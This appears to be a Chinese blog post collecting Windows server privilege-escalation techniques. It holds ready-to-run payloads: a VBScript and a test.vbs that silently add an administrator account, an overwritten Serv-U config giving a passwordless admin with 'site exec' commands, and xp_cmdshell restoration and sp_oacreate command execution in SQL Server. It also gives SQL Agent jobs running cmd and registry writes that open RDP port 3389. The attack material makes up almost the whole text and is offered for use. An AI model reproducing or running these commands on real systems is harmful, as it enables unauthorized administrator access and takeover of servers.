服务器提权总结

迅雷下载提权

<script language="VBScript">
Set vbs = CreateObject("Wscript.Shell")
vbs.run "cmd /c net user book book /add",0
vbs.run "cmd /c net localgroup administrators book /add",0
</script>


PCAnywhere连接提权

跳转C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\   下载 .cif文件  破解后远程登录


erveryone完全控制执行程序

c:\winnt\system32\inetsrv\data\    把文件上传到这个目录里面执行  该目录通常是erveryone完全控制权限


adsutil.vbs提权

查看C:\Inetpub\AdminScripts\ 下是否有adsutil.vbs脚本,如果有执行:
cscript C:\Input\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
即可提升IIS_USER权限


系统启动提权利用

在C:\Document and Settings\All Users\[开始]菜单\程序\启动  写入bat,vbs脚本 通过ddos强制重启,也可以在根目录下隐藏autorun.inf


流行的Serv-U密码覆盖提权

在C:\Document and Settings\All Users\[开始]菜单\程序  目录中查看Serv-U的安装路径,进入安装路径后查看该文件夹目录的权限和写入权限,可以修改
覆盖Serv-U的配置文件,Serv-U Daemon.ini  进行提权
下面为Serv-U的配置模板
  [User=用户名|1|0]  //用户名后的数字设置用户是否生效,1表示有效,0表示无效
  Password=          //用于设置密码,密码规则为随机的两个字母+密码的32位MD5
  HomeDir=d:\        //设置登录时的工作目录
  PasswordLastChange=1234233287   //设置上次密码更改的时间
  TimeOut=600        //设置连接超时时间
  Access1=C:\|RWAMELCDP   //设置可访问目录属性权限,这里是所有控制权,包括读,写,移动,复制和执行
  Access2=D:\|RWAMELCDP   //同上

  [USER=book|1]
  Password=
  HomeDir=c:\
  TimeOut=600
  Maintenance=System
  Access1=c:\|RWAMELCDP
  Access1=d:\|RWAMELCDP
  Access1=f:\|RWAMELCDP
  SKEYvalues=
  可以添加一个用户名为book,密码为空的Serv-U FTP服务器管理用户
  利用FTP登录,执行命令
  quote site exec <cmd命令>

  quote site exec net user book book /add
  quote site exec net localgroup administrators book /add
  quote site exec tskill notepad PID  //在window2003中通过pid关闭同类的进程
  quote site exec net stop iisadmin   //停止IIS服务
  quote site exec net start iisadmin  //启动IIS服务

  
  sql提权

  通过and 1=(select IS_SRVROLEMEMBER('sysadmin')) 可以判断当前用户是否有sysadmin权限

  select COUNT(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'   查看xp_cmdshell存储扩展是否删除

  Eexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'   恢复存储过程   如果不能成功上传一个xplog70.dll

  exec master .. xp_cmdshell 'net user book book /add'   添加用户

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\   其中键值fDenyTSConnections控制着3389的开启和关闭,当
                                                                                键值为0时表示3389开启,为1时表示关闭

  exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0
                                                                        通过注册表开通3389,在sql里面执行这句命令

  Exec master.dbo.addextendedproc 'xp_cmdshell','C:\Windows\System32\xplog70.dll'
                                                        如果xp_cmdshell命令被删除了,这句代码可以恢复

  恢复执行xp_cmdshell存储过程时遇到的常见情况

 1.未能找到存储过程'master..xp_cmdshell'
 
   执行  Exec sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int   或者

         sp_addextendedproc 'xp_cmdshell','xplog70.dll'

   一些版本中没有xplog70.dll,用以下语句恢复
          
         sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  2.无法装载DLLxpsql70.dll或该DLL所引用的某一Dll出现错误的原因:原因为126(找不到指定模板)

    错误原因:通常是由于系统中不存在xpsql70.dll文件造成的,可以上传一个xpsql70.dll文件,并执行如下命令

         sp_dropextendedproc "xp_cmdshell";

         sp_addextendedproc 'xp_cmdshell', 'c:\xpsql70.dll'  需要指定xpsql70.dll,也可以上传xplog70.dll文件

  3.sp_addextendedproc存储过程的恢复

        在上面的恢复过程中,离不开sp_addextendedproc存储过程添加新建xp_cmdshell函数,进行恢复时,可能出现一种情况:未能找到存储过程'sp_addextendedproc'
 
        说明sp_addextendedproc存储过程已经被删除,此时需要手工恢复次存储过程,才能完成xp_cmdshell的恢复,执行:

        create procedure sp_addextendedproc
        @functname nvarchar(517),
        @dllname varchar(255)
        as
        set implicit_transactions off
        if @@trancount > 0
        begin
        raiserror(15002,-1,-1,'sp_addextendedproc')
        return(1)
        end
        dbcc addextendedproc(@functname,@dllname)
        return (0)
        GO

      绕过sp_addextendedproc扩展,直接恢复xp_cmdshell

       Exec spdropextendedproc 'xp_cmdshell';
       dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

 
   通过创建ActiveX提权

    declare @o int
    exec sp_oacreate 'wscript.shell',@o out
    exec sp_oamethod @o, 'run',NULL,'net start telnet'

   如果执行命令无法成功,需要指定cmd命令程序的路径。在Windows2000Servser系统中可以执行

   declare @shell int
   exec sp_oacreate 'wscript.shell',@shell output
   exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user book book /add'

   declare @shell int
   exec sp_oacreate 'wscript.shell',@shell output
   exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators book /add'

   在windowXP或2003Server系统中,执行

      declare @shell int
   exec sp_oacreate 'wscript.shell',@shell output
   exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user book book /add'

   declare @shell int
   exec sp_oacreate 'wscript.shell',@shell output
   exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators book /add'

   利用SQL代理提权

   exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'  开启服务

   use msdb exec sp_delete_job null,'x'
   exec sp_add_job 'x'
   exec sp_add_jobstep Null,'x',null,'1','CMDEXEC','cmd /c net user book book /add'    添加用户
   exec sp_add_jobserver null,'x',@@SERVERNAME exec sp_start_job 'x'

 

   权限不够时运行test.vbs

   set wsnetwork=CreateObject("WSCRIPT.NETWORK")
   os="WinNT://"&wsnetwork.ComputerName
   Set ob=GetObject(os) 
   Set oe=GetObject(os&"/Administrators,group")
   Set od=ob.Create("user","book")
   od.SetPassword "book"
   od.SetInfo
   Set of=GetObject(os&"/book",user)
   oe.add os&"/book"

   执行命令:cscript test.vbs

修改3389端口

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\Wds\Repwd\Tds\tcp   ProtNumber

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp   PortNumber 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值